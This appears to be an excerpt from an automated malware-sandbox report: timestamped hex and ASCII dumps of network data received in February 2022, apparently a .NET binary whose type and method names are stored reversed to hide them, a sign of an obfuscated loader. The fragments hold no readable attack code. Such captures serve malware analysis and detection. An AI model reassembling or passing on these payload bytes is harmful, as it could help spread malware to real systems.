34 35 30 39 35 65 39 35 36 30 66 00 72 6f 74 63 Data Ascii: ekovnIdnEekovnInigeBekovnIteseRsetyBteGesopsiDrotc.007b87cfa2579b99e5a4545095e9560frotc
2022-02-01 01:06:35 UTC	21	IN	Data Raw: 00 6e 6f 69 74 70 65 63 78 45 74 75 6f 65 6d 69 54 00 6e 61 70 53 65 6d 69 54 00 6e 6f 69 74 70 65 63 78 45 64 65 74 70 75 72 72 65 74 6e 49 64 61 65 72 68 54 00 6e 6f 69 74 70 65 63 78 45 74 72 6f 62 41 64 61 65 72 68 54 00 64 61 65 72 68 54 00 78 65 74 75 4d 00 72 6f 74 69 6e 6f 4d 00 67 6e 69 64 61 65 72 68 54 2e 6d 65 74 73 79 53 00 64 65 6b 63 6f 6c 72 65 74 6e 49 00 65 74 75 62 69 72 74 74 41 63 69 74 61 74 53 64 61 65 72 68 54 00 67 6e 69 64 6f 63 6e 45 65 64 6f 63 69 6e 55 00 67 6e 69 64 6f 63 6e 45 38 46 54 55 00 72 65 64 6c 69 75 42 67 6e 69 72 74 53 00 73 6e 6f 69 74 70 4f 78 65 67 65 52 00 73 6e 6f 69 73 73 65 72 70 78 45 72 61 6c 75 67 65 52 2e 74 78 65 54 2e 6d 65 74 73 79 53 00 78 65 67 65 52 00 67 6e 69 64 6f 63 6e 45 00 74 78 65 54 2e 6d Data Ascii: noitpecxEtuoemiTnapSemiTnoitpecxEdetpurretnIdaerhTnoitpecxEtrobAdaerhTdaerhTxetuMrotinoMgnidaerhT.metsySdekcolretnIetubirttAcitatSdaerhTgnidocnEedocinUgnidocnE8FTUredliuBgnirtSsnoitpOxegeRsnoisserpxEralugeR.txeT.metsySxegeRgnidocnEtxeT.m
2022-02-01 01:06:35 UTC	22	IN	Data Raw: 72 61 54 00 6f 66 6e 49 79 74 72 65 70 6f 72 50 00 72 65 69 66 69 64 6f 4d 72 65 74 65 6d 61 72 61 50 00 6f 66 6e 49 72 65 74 65 6d 61 72 61 50 00 65 6c 75 64 6f 4d 00 6f 66 6e 49 64 6f 68 74 65 4d 00 65 73 61 42 64 6f 68 74 65 4d 00 73 65 70 79 54 72 65 62 6d 65 4d 00 6f 66 6e 49 72 65 62 6d 65 4d 00 6f 66 6e 49 65 6c 62 61 69 72 61 56 6c 61 63 6f 4c 00 6f 66 6e 49 64 6c 65 69 46 00 73 65 64 6f 43 70 4f 00 65 64 6f 43 70 4f 00 72 65 64 6c 69 75 42 6c 61 63 6f 4c 00 6c 65 62 61 4c 00 72 6f 74 61 72 65 6e 65 47 4c 49 00 74 69 6d 45 2e 6e 6f 69 74 63 65 6c 66 65 52 2e 6d 65 74 73 79 53 00 64 6f 68 74 65 4d 63 69 6d 61 6e 79 44 00 6f 66 6e 49 72 6f 74 63 75 72 74 73 6e 6f 43 00 73 6e 6f 69 74 6e 65 76 6e 6f 43 67 6e 69 6c 6c 61 43 00 73 67 61 6c 46 67 6e 69 Data Ascii: raTofnIytreporPreifidoMretemaraPofnIretemaraPeludoMofnIdohteMesaBdohteMsepyTrebmeMofnIrebmeMofnIelbairaVlacoLofnIdleiFsedoCpOedoCpOredliuBlacoLlebaLrotareneGLItimE.noitcelfeR.metsySdohteMcimanyDofnIrotcurtsnoCsnoitnevnoCgnillaCsgalFgni
2022-02-01 01:06:35 UTC	24	IN	Data Raw: 00 6f 66 6e 49 65 72 75 74 6c 75 43 00 43 47 00 6e 6f 69 74 70 65 63 78 45 74 61 6d 72 6f 46 00 6e 6f 69 74 70 65 63 78 45 73 73 65 63 63 41 64 6c 65 69 46 00 6e 6f 69 74 70 65 63 78 45 00 72 65 64 6c 6f 46 6c 61 69 63 65 70 53 00 74 6e 65 6d 6e 6f 72 69 76 6e 45 00 6d 75 6e 45 00 65 7a 69 53 00 65 6c 67 6e 61 74 63 65 52 00 65 6c 62 75 6f 44 00 68 63 74 61 77 70 6f 74 53 00 65 63 61 72 54 6b 63 61 74 53 00 65 6d 61 72 46 6b 63 61 74 53 00 6f 66 6e 49 74 72 61 74 53 73 73 65 63 6f 72 50 00 65 6c 75 64 6f 4d 73 73 65 63 6f 72 50 00 73 73 65 63 6f 72 50 00 65 74 75 62 69 72 74 74 41 65 64 6f 43 72 65 73 55 6e 6f 4e 72 65 67 67 75 62 65 44 00 65 74 75 62 69 72 74 74 41 6e 65 64 64 69 48 72 65 67 67 75 62 65 44 00 65 74 61 74 53 65 6c 62 61 73 77 6f 72 42 72 Data Ascii: ofnIerutluCCGnoitpecxEtamroFnoitpecxEsseccAdleiFnoitpecxEredloFlaicepStnemnorivnEmunEeziSelgnatceRelbuoDhctawpotSecarTkcatSemarFkcatSofnItratSssecorPeludoMssecorPssecorPetubirttAedoCresUnoNreggubeDetubirttAneddiHreggubeDetatSelbasworBr
2022-02-01 01:06:35 UTC	25	IN	Data Raw: 01 93 17 d4 00 bd 1b 58 0c 4f 00 00 00 00 1b 56 01 f9 00 00 00 00 10 75 01 26 00 00 00 00 10 75 00 aa 00 00 00 00 10 75 00 6a 00 00 00 00 10 e8 00 5a 00 01 00 02 10 dc 00 5a 00 02 00 01 10 75 00 5a 00 02 00 00 11 0c 00 58 00 02 00 05 10 f4 00 58 00 02 00 04 11 00 00 58 00 02 00 03 10 e8 00 58 00 02 00 02 10 dc 00 58 00 02 00 01 10 75 00 58 00 02 00 00 10 de 00 56 00 01 00 08 10 77 00 56 00 02 00 07 11 18 00 56 00 02 00 06 11 0c 00 56 00 02 00 05 10 f4 00 56 00 02 00 04 11 00 00 56 00 02 00 03 10 e8 00 56 00 02 00 02 10 dc 00 56 00 02 00 01 10 75 00 56 00 02 00 00 10 dc 00 54 00 01 00 01 10 75 00 54 00 02 00 00 10 f4 00 52 00 02 00 04 11 00 00 52 00 02 00 03 10 e8 00 52 00 02 00 02 10 dc 00 52 00 02 00 01 10 75 00 52 00 02 00 00 11 18 00 50 00 01 00 06 11 Data Ascii: XOVu&uujZZuZXXXXXuXVwVVVVVVVuVTuTRRRRuRP
2022-02-01 01:06:35 UTC	26	IN	Data Raw: 01 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 22 00 0a 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 19 00 01 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 04 02 b6 00 02 3a c0 02 b5 00 02 39 c0 02 ad 00 02 38 c0 02 82 00 02 37 c0 02 1c 00 02 37 40 02 16 00 02 37 2c 01 d2 00 02 37 20 01 d1 00 02 37 10 01 d0 00 02 36 d4 00 09 1a ba 0b e7 01 04 00 09 1a aa 0b e5 01 04 00 09 1a 9c 0b e3 01 00 00 09 1a 8b 0b e1 01 00 00 07 1a 6b 04 cf 01 00 00 07 1a 50 04 9d 01 41 00 07 1a 47 04 9b 01 04 00 01 1a 38 04 99 01 00 00 01 1a 29 04 97 01 43 00 01 1a 1c 04 95 01 40 00 08 1a 0a 04 93 01 00 00 08 19 f7 04 91 01 40 00 08 19 e3 04 8f 01 00 00 07 19 d7 04 8d 01 40 00 07 19 cb 04 8b 01 00 00 06 19 bd 04 89 Data Ascii: ":9877@7,7 76kPAG8)C@@@
2022-02-01 01:06:35 UTC	28	IN	Data Raw: 00 7d 00 0a 00 56 00 05 00 53 00 01 00 14 2b 10 2a fe 2a e6 2a e0 2a b9 2a a7 2a 9e 2a 91 2a 87 2a 7a 2a 30 2a 21 2a 16 2a 0f 29 fa 29 e7 29 ce 29 c3 29 95 29 89 29 63 29 4f 29 46 29 30 29 16 29 0d 28 eb 28 e2 28 d9 28 d0 28 c9 28 be 28 b2 28 aa 28 86 28 80 28 77 28 6e 28 4d 28 40 28 2e 28 23 28 15 28 0e 28 08 28 00 27 f9 27 ef 27 c7 27 b9 27 b3 27 a6 27 99 27 92 27 7a 27 6a 27 59 27 4b 27 45 27 33 27 28 27 16 26 fa 26 de 26 d5 26 c0 26 b1 26 a9 26 a1 26 94 26 7f 26 76 26 6f 26 58 26 44 26 3b 26 24 26 1e 26 18 26 13 26 07 25 f7 25 e5 25 bc 25 ad 25 a9 25 a3 25 74 25 6b 25 65 25 5b 25 4f 24 d7 24 ca 24 a1 24 9c 24 95 24 8a 24 68 24 59 24 53 24 4c 24 45 24 3f 24 2c 24 20 23 fe 23 de 23 c0 23 aa 23 a6 23 82 23 73 23 64 23 17 23 11 22 f4 22 dc 22 bf 22 b1 22 Data Ascii: }VS+********z0!*)))))))c)O)F)0))(((((((((((w(n(M(@(.(#(((('''''''''z'j'Y'K'E'3'('&&&&&&&&&&v&o&X&D&;&$&&&&%%%%%%%t%k%e%[%O$$$$$$$h$Y$S$L$E$?$,$ #######s#d##"""""
2022-02-01 01:06:35 UTC	29	IN	Data Raw: c9 14 16 00 0b 00 00 04 c1 14 74 00 93 00 00 04 a9 14 16 00 0b 00 00 04 a1 14 67 00 93 00 00 04 89 14 16 00 0b 00 00 04 81 14 5e 00 93 00 00 04 69 14 16 00 0b 00 00 04 61 15 38 00 93 00 00 03 c9 15 29 00 93 00 00 03 a9 15 20 00 93 00 00 03 89 15 17 00 93 00 00 03 69 15 08 00 93 00 00 03 49 14 16 00 0b 00 00 03 41 14 ff 00 93 00 00 03 29 14 f6 00 93 00 00 03 09 14 ed 00 93 00 00 02 e9 14 e4 00 93 00 00 02 c9 14 db 00 93 00 00 02 a9 14 d2 00 93 00 00 02 89 0a 81 00 9b 00 00 02 83 14 c3 00 93 00 00 02 69 14 b5 00 93 00 00 02 49 14 82 00 93 00 00 02 29 14 74 00 93 00 00 02 09 14 67 00 93 00 00 01 e9 14 5e 00 93 00 00 01 c9 14 82 00 93 00 00 01 a9 14 74 00 93 00 00 01 89 14 67 00 93 00 00 01 69 14 5e 00 93 00 00 01 49 0a 81 00 23 00 00 01 20 0a 81 00 23 00 00 Data Ascii: tg^ia8) iIA)iI)tg^tgi^I# #
2022-02-01 01:06:35 UTC	30	IN	Data Raw: 02 a1 00 20 14 81 02 31 01 98 25 c4 03 d9 01 bc 14 81 03 d9 25 55 25 bc 03 a9 00 3b 1b 98 01 c4 06 76 1b 8f 01 c4 01 09 25 b5 06 09 25 4a 18 db 02 b9 23 47 25 a9 06 29 25 44 14 81 06 09 01 b8 18 db 06 41 25 3d 24 32 06 41 23 b3 25 96 03 a9 25 36 1b 6c 06 69 16 b5 1b 77 01 c4 00 20 14 81 01 c4 00 20 14 81 03 41 06 12 1b b4 01 bc 24 c3 1b 8f 01 bc 24 bd 25 8d 01 bc 00 20 20 54 01 bc 00 3b 1b 98 01 bc 00 20 14 81 01 bc 0a d0 10 75 01 b4 01 bc 14 81 00 51 00 20 14 81 02 a1 24 8f 25 85 06 09 0a a1 25 73 02 91 24 85 25 6b 01 21 24 80 25 6b 01 21 24 7b 25 62 01 21 0a 53 25 58 02 a1 01 98 25 50 02 89 24 76 25 46 06 09 00 56 14 81 02 89 12 1b 25 36 04 d9 12 7e 20 54 00 59 16 7e 25 31 00 59 00 84 25 2b 00 59 01 a7 17 4e 02 a1 0a b4 17 49 02 a1 00 20 14 81 00 41 09 Data Ascii: 1%%U%;v%%J#G%)%DA%=$2A#%%6liw A$$% T; uQ $%%s$%k!$%k!${%b!S%X%P$v%FV%6~ TY~%1Y%+YNI A
2022-02-01 01:06:35 UTC	32	IN	Data Raw: 89 00 20 20 54 00 84 1e d7 20 a4 04 49 1e d1 20 93 04 69 1e b0 1f 04 00 59 1e a4 20 82 04 69 05 46 1e e6 00 31 13 c2 1d d6 03 59 00 9c 1b a2 01 34 1e 94 16 8e 06 09 00 9c 1f a2 00 cc 00 9c 1f a7 00 cc 00 3b 1b 98 00 cc 1e 64 20 77 06 a1 1e 4c 1f 6f 06 a1 1e 35 20 68 06 a1 03 62 20 5a 04 79 13 b7 1d e8 04 79 00 20 20 54 00 8c 18 2c 20 50 04 41 01 bc 14 81 00 41 01 af 1a 76 01 24 00 9c 1b ac 01 2c 17 13 1b a2 01 2c 16 ff 1a 7f 01 24 16 f4 18 80 01 1c 1d 93 20 3d 01 d1 06 76 1b b4 01 1c 00 20 14 81 01 1c 18 2c 20 33 04 41 00 1c 20 2d 01 49 01 bc 14 81 03 11 1c e1 20 24 06 a1 03 af 20 17 04 79 06 12 1e d8 00 84 06 12 1e d8 00 8c 01 af 20 04 06 a1 01 bc 14 81 00 49 00 56 14 81 02 c9 01 bc 14 81 06 a9 07 e2 14 d4 04 69 1c 75 14 d4 04 11 1c 63 1e e6 00 31 1c 4e Data Ascii: T I iY iF1Y4;d wLo5 hb Zyy T, PAAv$,,$ =v , 3A -I $ y IViuc1N
2022-02-01 01:06:35 UTC	33	IN	Data Raw: 14 81 03 b1 01 bc 14 81 03 b9 01 bc 14 81 03 c9 01 bc 14 81 03 e9 00 20 14 81 04 d1 00 56 14 81 04 b9 01 bc 14 81 05 51 15 a9 14 81 00 21 00 20 14 81 05 f1 15 8c 14 81 00 a1 14 a0 14 81 05 09 00 20 14 81 00 11 00 56 14 81 00 29 00 20 14 81 03 81 0f 28 18 80 00 24 00 9c 14 c5 00 1c 09 be 18 80 01 01 14 3c 18 80 00 14 00 84 1a 7f 01 09 00 20 14 b3 01 09 00 9c 1a 7f 00 0c 01 af 1a 76 01 09 00 20 14 a2 02 01 00 20 14 81 01 61 00 20 14 81 01 69 01 bc 14 81 01 41 00 20 14 81 04 c1 00 20 14 81 06 59 00 20 14 81 00 19 14 1f 14 81 01 51 01 01 00 e1 02 cd 00 e1 01 01 00 d9 02 38 00 ca 01 01 00 c8 02 38 00 c8 01 01 00 b2 01 01 00 ae 01 01 00 a9 02 38 00 a9 00 1e 00 96 02 b4 00 93 01 01 00 92 02 cd 00 92 01 01 00 76 03 30 00 6e 03 a4 00 6e 00 0e 00 6e 02 b4 00 6e 00 Data Ascii: VQ! V) ($< v a iA Y Q888v0nnnn
2022-02-01 01:06:35 UTC	34	IN	Data Raw: 00 10 75 00 01 00 00 10 75 00 01 00 00 11 00 00 04 10 10 10 e8 00 03 10 10 10 dc 00 02 10 10 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 02 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc Data Ascii: uuuuuuuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	36	IN	Data Raw: 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 Data Ascii: uuuuuuuuuuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	37	IN	Data Raw: dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 f6 00 0c 00 00 11 02 00 0b 00 00 10 ea 00 0a 00 00 10 de 00 09 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 ea 00 0a 00 00 10 de 00 09 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 Data Ascii: uuwuwuuuuuuuuuu
2022-02-01 01:06:35 UTC	38	IN	Data Raw: 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 ea 00 0a 00 00 10 de 00 09 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 02 10 75 00 01 00 00 10 75 00 01 00 Data Ascii: uwuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	40	IN	Data Raw: 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 Data Ascii: uuuuuuuuuuuuuuuuuwu
2022-02-01 01:06:35 UTC	41	IN	Data Raw: 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 ea 00 0a 00 00 10 de 00 09 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 77 00 08 00 00 11 18 00 07 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 Data Ascii: uuuuwuwuuuuuuu
2022-02-01 01:06:35 UTC	42	IN	Data Raw: 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 Data Ascii: uuuuuuuuuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	44	IN	Data Raw: 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 Data Ascii: uuuuuuuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	45	IN	Data Raw: e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 11 0c 00 06 00 00 10 f4 00 05 00 00 11 00 00 04 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 dc 00 02 00 00 10 75 00 01 00 00 10 e8 00 03 00 00 10 dc 00 02 00 00 10 75 00 01 Data Ascii: uuuuuuuuuuuuuuuuuuu
2022-02-01 01:06:35 UTC	46	IN	Data Raw: 08 4d 00 88 14 b9 08 c6 00 00 00 02 2c 80 08 4d 00 84 14 b9 08 c6 00 00 00 02 2c 60 08 4c 00 88 10 75 00 86 00 00 00 02 2c 40 08 4c 00 84 10 75 00 86 00 00 00 02 2c 20 08 4c 00 20 14 81 18 86 00 00 00 02 2c 00 08 4c 00 20 14 81 18 86 00 00 00 02 2b e0 08 4c 01 a3 14 f1 05 c6 00 00 00 00 00 00 08 4c 01 98 14 f1 05 c6 00 00 00 00 00 00 08 4c 00 3b 14 f1 05 c6 00 00 00 00 00 00 08 4c 00 1c 10 75 00 93 00 00 00 02 2b bc 08 49 13 8b 10 75 00 96 00 00 00 02 2b 18 08 47 13 83 10 75 00 91 00 00 00 02 2a d8 08 44 13 7b 10 75 00 96 00 00 00 02 2a 98 08 44 0f 9f 10 75 00 91 00 00 00 02 2a 78 08 44 00 1c 10 75 00 91 00 00 00 02 29 f4 08 44 00 1c 14 59 18 91 00 00 00 02 29 ac 08 44 00 1c 10 dc 00 93 00 00 00 02 29 88 08 44 00 1c 10 75 00 93 00 00 00 02 29 64 08 43 00 Data Ascii: M,M,`Lu,@Lu, L ,L +LLL;Lu+Iu+GuD{uDu*xDu)DY)D)Du)dC
2022-02-01 01:06:35 UTC	48	IN	Data Raw: 00 00 00 07 dc 09 31 16 b1 05 c6 00 00 00 00 00 00 07 da 09 31 16 a5 05 c6 00 00 00 00 00 00 07 da 00 3b 16 a5 05 c6 00 00 00 00 00 00 07 da 00 1c 10 75 00 93 00 00 00 02 13 a0 07 d9 00 93 14 b9 00 c6 00 00 00 02 11 88 07 d8 00 88 14 b9 08 c6 00 00 00 02 11 64 07 d8 00 84 14 b9 08 c6 00 00 00 02 11 40 07 d8 00 8d 14 b9 00 c6 00 00 00 02 11 04 07 d7 12 4b 10 75 00 86 00 00 00 02 10 e4 07 d7 0c d6 10 75 00 86 00 00 00 02 10 c4 07 d7 00 20 14 81 18 86 00 00 00 02 10 a4 07 d7 00 1c 10 75 00 93 00 00 00 02 10 80 07 d6 00 93 14 b9 00 c6 00 00 00 02 0e 78 07 d6 00 8d 14 b9 00 c6 00 00 00 02 0e 3c 07 d5 00 88 14 b9 08 c6 00 00 00 02 0d 84 07 d5 00 84 14 b9 08 c6 00 00 00 02 0d 60 07 d4 04 f1 10 75 00 86 00 00 00 02 0d 40 07 d4 08 0b 10 75 00 86 00 00 00 02 0d 20 Data Ascii: 11;ud@Kuu ux<`u@u
2022-02-01 01:06:35 UTC	49	IN	Data Raw: 00 00 00 01 f6 10 07 86 11 af 10 75 00 86 00 00 00 01 f5 e8 07 85 08 1a 16 8e 00 c6 00 00 00 01 f5 b8 07 85 00 24 10 75 00 86 00 00 00 01 f5 98 07 84 00 56 10 75 00 86 00 00 00 01 f5 78 07 84 00 3b 10 75 00 86 00 00 00 01 f5 58 07 82 11 a9 14 81 18 86 00 00 00 01 f5 2c 07 81 04 f1 11 00 00 86 00 00 00 01 f5 0c 07 81 08 0b 11 00 00 86 00 00 00 01 f4 ec 07 80 04 f1 10 e8 00 86 00 00 00 01 f4 cc 07 80 08 0b 10 e8 00 86 00 00 00 01 f4 ac 07 7f 04 f1 10 dc 00 86 00 00 00 01 f4 8c 07 7f 08 0b 10 dc 00 86 00 00 00 01 f4 6c 07 7e 04 f1 10 75 00 86 00 00 00 01 f4 4c 07 7e 08 0b 10 75 00 86 00 00 00 01 f4 2c 07 7d 00 56 10 dc 00 86 00 00 00 01 f4 0c 07 7d 00 3b 10 dc 00 86 00 00 00 01 f3 ec 07 7c 00 56 10 75 00 86 00 00 00 01 f3 cc 07 7c 00 3b 10 75 00 86 00 00 00 Data Ascii: u$uVux;uX,l~uL~u,}V};\|Vu\|;u
2022-02-01 01:06:35 UTC	50	IN	Data Raw: db 08 c6 00 00 00 01 d6 f8 07 40 01 a3 16 f3 08 c6 00 00 00 01 d6 b0 07 40 01 a3 16 db 08 c6 00 00 00 01 d6 68 07 3f 00 56 10 75 00 86 00 00 00 01 d5 cc 07 3f 00 3b 10 dc 00 86 00 00 00 01 d5 88 07 3e 10 da 10 75 00 86 00 00 00 01 d5 2c 07 3e 00 3b 10 75 00 83 00 00 00 01 d4 f4 07 3c 10 d2 10 75 00 83 00 00 00 01 d4 ac 07 3c 01 98 10 75 00 83 00 00 00 01 d4 8c 07 3c 00 20 16 f3 00 c6 00 00 00 01 d4 88 07 3b 01 7f 10 75 00 81 00 00 00 01 d4 20 07 3a 01 b3 16 db 00 c4 00 00 00 01 d3 d4 07 3a 01 af 16 f3 08 c6 00 00 00 01 d3 b4 07 3a 01 af 16 e7 08 c6 00 00 00 01 d3 94 07 3a 01 af 16 db 08 c6 00 00 00 01 d3 74 07 36 01 00 14 81 18 86 00 00 00 01 d2 e0 07 33 09 ee 14 81 18 86 00 00 00 01 d2 ac 07 31 0f 0d 14 81 18 86 00 00 00 01 d2 4c 07 30 01 9d 14 81 18 86 Data Ascii: @@h?Vu?;>u,>;u<u<u< ;u ::::t631L0
